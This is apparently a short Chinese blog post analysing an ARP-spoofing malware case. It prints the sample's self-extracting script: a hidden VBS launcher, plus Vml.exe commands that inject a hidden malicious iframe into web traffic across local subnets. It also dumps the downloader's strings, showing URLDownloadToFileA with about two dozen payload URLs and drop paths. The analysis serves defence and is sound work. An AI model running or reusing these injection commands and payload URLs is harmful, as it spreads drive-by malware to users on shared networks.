ARP攻击一例
htp://xx.exiao02.com/wm/5.htm
挂：htp://bbb.ehai01.com/0.exe，此为下载型木马，下载htp://bbb.ehai01.com/1~24.exe文件，拿一下载文件解压：
- ;下面的注释包含自解压脚本命令
- Path=%systemroot%\system32\
- SavePath
- Setup=3.vbs
- Silent=1
- Overwrite=1
- Set ws = CreateObject("Wscript.Shell")
- ws.run "cmd /c run.bat",vbhide
- Vml.exe -idx 0 -ip 192.168.0.1-192.168..254 -port 80 -insert "<ifr ame src='htp://xx.exiao01.com/2.htm' width=20 height=1></ifr ame>"
- Vml.exe -idx 0 -ip 192.168.1.1-192.168.1.254 -port 80 -insert "<ifr ame src='htp://xx.exiao01.com/2.htm' width=20 height=1></ifr ame>"
- exit
00003890 00404490 0 URLDownloadToFileA
000038A4 004044A4 0 C:\Program Files\1.exe
000038BC 004044BC 0 http://1.ehai01.com/1.exe
000038FC 004044FC 0 C:\Program Files\2.exe
00003914 00404514 0 http://1.ehai01.com/2.exe
00003954 00404554 0 C:\Program Files\3.exe
0000396C 0040456C 0 http://1.ehai01.com/3.exe
000039AC 004045AC 0 C:\Program Files\4.exe
000039C4 004045C4 0 http://1.ehai01.com/4.exe
00003A04 00404604 0 C:\Program Files\5.exe
00003A1C 0040461C 0 http://1.ehai01.com/5.exe
00003A5C 0040465C 0 C:\Program Files\6.exe
00003A74 00404674 0 http://1.ehai01.com/6.exe
00003AB4 004046B4 0 C:\Program Files\7.exe
00003ACC 004046CC 0 http://1.ehai01.com/7.exe
00003B0C 0040470C 0 C:\Program Files\8.exe
00003B24 00404724 0 http://1.ehai01.com/8.exe
00003B64 00404764 0 C:\Program Files\9.exe
00003B7C 0040477C 0 http://1.ehai01.com/9.exe
00003BBC 004047BC 0 C:\Program Files\10.exe
00003BD4 004047D4 0 http://1.ehai01.com/10.exe
00003C14 00404814 0 C:\Program Files\11.exe
00003C2C 0040482C 0 http://1.ehai01.com/11.exe
00003C6C 0040486C 0 C:\Program Files\12.exe
00003C84 00404884 0 http://1.ehai01.com/12.exe
00003CC4 004048C4 0 C:\Program Files\13.exe
00003CDC 004048DC 0 http://1.ehai01.com/13.exe
00003D1C 0040491C 0 C:\Program Files\14.exe
00003D34 00404934 0 http://1.ehai01.com/14.exe
00003D74 00404974 0 C:\Program Files\15.exe
00003D8C 0040498C 0 http://1.ehai01.com/15.exe
00003DCC 004049CC 0 C:\Program Files\16.exe
00003DE4 004049E4 0 http://1.ehai01.com/16.exe
00003E24 00404A24 0 C:\Program Files\17.exe
00003E3C 00404A3C 0 http://1.ehai01.com/17.exe
00003E7C 00404A7C 0 C:\Program Files\18.exe
00003E94 00404A94 0 http://1.ehai01.com/18.exe
00003ED4 00404AD4 0 C:\Program Files\19.exe
00003EEC 00404AEC 0 http://1.ehai01.com/19.exe
00003F2C 00404B2C 0 C:\Program Files\20.exe
00003F44 00404B44 0 http://1.ehai01.com/20.exe
00003F84 00404B84 0 C:\Program Files\21.exe
00003F9C 00404B9C 0 http://1.ehai01.com/21.exe
00003FDC 00404BDC 0 C:\Program Files\22.exe
00003FF4 00404BF4 0 http://1.ehai01.com/22.exe
0000403C 00404C3C 0 C:\Program Files\explorer.exe
0000405C 00404C5C 0 http://da.ehai01.com/23.exe
0000409C 00404C9C 0 C:\Program Files\arpqc.exe
000040B8 00404CB8 0 http://da.ehai01.com/24.exe
老周 
jun0717
3条评论 ▼